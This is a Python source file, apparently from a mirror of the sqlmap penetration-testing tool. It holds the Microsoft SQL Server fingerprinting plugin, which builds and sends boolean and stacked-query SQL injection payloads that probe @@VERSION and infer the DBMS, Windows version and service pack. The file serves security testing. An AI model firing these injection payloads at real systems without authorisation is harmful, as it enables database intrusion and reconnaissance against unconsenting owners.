mirror of
https://github.com/sqlmapproject/sqlmap.git
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239 lines
7.9 KiB
Python
239 lines
7.9 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
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sqlmap is free software; you can redistribute it and/or modify it under
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the terms of the GNU General Public License as published by the Free
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Software Foundation version 2 of the License.
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sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
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WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
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FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
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details.
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You should have received a copy of the GNU General Public License along
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with sqlmap; if not, write to the Free Software Foundation, Inc., 51
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Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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"""
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from lib.core.agent import agent
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from lib.core.common import formatDBMSfp
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from lib.core.common import formatFingerprint
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from lib.core.common import getHtmlErrorFp
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from lib.core.common import randomInt
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.session import setDbms
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from lib.core.settings import MSSQL_ALIASES
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from lib.request import inject
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from lib.request.connect import Connect as Request
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from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
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class Fingerprint(GenericFingerprint):
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def __init__(self):
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GenericFingerprint.__init__(self)
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def getFingerprint(self):
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value = ""
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wsOsFp = formatFingerprint("web server", kb.headersFp)
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if wsOsFp:
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value += "%s\n" % wsOsFp
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if kb.data.banner:
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dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
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if dbmsOsFp:
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value += "%s\n" % dbmsOsFp
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value += "back-end DBMS: "
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actVer = formatDBMSfp()
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if not conf.extensiveFp:
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value += actVer
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return value
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blank = " " * 15
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value += "active fingerprint: %s" % actVer
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if kb.bannerFp:
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release = kb.bannerFp["dbmsRelease"] if 'dbmsRelease' in kb.bannerFp else None
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version = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
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servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None
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if release and version and servicepack:
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banVer = "Microsoft SQL Server %s " % release
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banVer += "Service Pack %s " % servicepack
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banVer += "version %s" % version
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value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
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htmlErrorFp = getHtmlErrorFp()
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if htmlErrorFp:
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value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
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return value
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def checkDbms(self):
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if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
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setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
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self.getBanner()
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if not conf.extensiveFp:
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kb.os = "Windows"
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return True
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infoMsg = "testing Microsoft SQL Server"
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logger.info(infoMsg)
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# NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not work connecting
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# directly to the Microsoft SQL Server database
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if conf.direct:
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result = True
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else:
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payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
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result = Request.queryPage(payload)
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if result:
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infoMsg = "confirming Microsoft SQL Server"
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logger.info(infoMsg)
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for version in (0, 5, 8):
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randInt = randomInt()
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query = " AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1))
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if conf.direct:
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query = query.replace(" AND ", "SELECT 1 WHERE ", 1)
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payload = agent.fullPayload(query)
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result = Request.queryPage(payload)
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if result:
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if version == 8:
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kb.dbmsVersion = ["2008"]
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break
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elif version == 5:
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kb.dbmsVersion = ["2005"]
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break
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elif version == 0:
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kb.dbmsVersion = ["2000"]
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break
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else:
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query = " AND %d=(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END))" % (randInt, randInt, (randInt + 1))
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payload = agent.fullPayload(query)
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result = Request.queryPage(payload)
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if result:
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kb.dbmsVersion = ["7.0"]
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break
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if kb.dbmsVersion:
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setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
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else:
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setDbms("Microsoft SQL Server")
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self.getBanner()
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kb.os = "Windows"
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return True
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else:
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warnMsg = "the back-end DMBS is not Microsoft SQL Server"
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logger.warn(warnMsg)
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return False
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def checkDbmsOs(self, detailed=False):
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if kb.os and kb.osVersion and kb.osSP:
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return
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if not kb.os:
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kb.os = "Windows"
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if not detailed:
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return
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infoMsg = "fingerprinting the back-end DBMS operating system "
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infoMsg += "version and service pack"
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logger.info(infoMsg)
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infoMsg = "the back-end DBMS operating system is %s" % kb.os
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self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
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inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
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versions = { "2003": ("5.2", (2, 1)),
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#"2003": ("6.0", (2, 1)),
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"2008": ("7.0", (1,)),
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"2000": ("5.0", (4, 3, 2, 1)),
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"XP": ("5.1", (2, 1)),
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"NT": ("4.0", (6, 5, 4, 3, 2, 1)) }
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# Get back-end DBMS underlying operating system version
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for version, data in versions.items():
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query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
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query += "LIKE '%Windows NT " + data[0] + "%')>0"
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query = agent.forgeCaseStatement(query)
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if inject.getValue(query, charsetType=1) == "1":
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kb.osVersion = version
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infoMsg += " %s" % kb.osVersion
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break
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if not kb.osVersion:
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kb.osVersion = "2003"
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kb.osSP = 2
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warnMsg = "unable to fingerprint the underlying operating "
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warnMsg += "system version, assuming it is Windows "
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warnMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
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logger.warn(warnMsg)
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self.cleanup(onlyFileTbl=True)
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return
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# Get back-end DBMS underlying operating system service pack
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sps = versions[kb.osVersion][1]
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for sp in sps:
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query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
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query += "LIKE '%Service Pack " + str(sp) + "%')>0"
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query = agent.forgeCaseStatement(query)
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if inject.getValue(query, charsetType=1) == "1":
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kb.osSP = sp
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break
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if not kb.osSP:
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debugMsg = "assuming the operating system has no service pack"
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logger.debug(debugMsg)
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kb.osSP = 0
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if kb.osVersion:
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infoMsg += " Service Pack %d" % kb.osSP
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logger.info(infoMsg)
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self.cleanup(onlyFileTbl=True)
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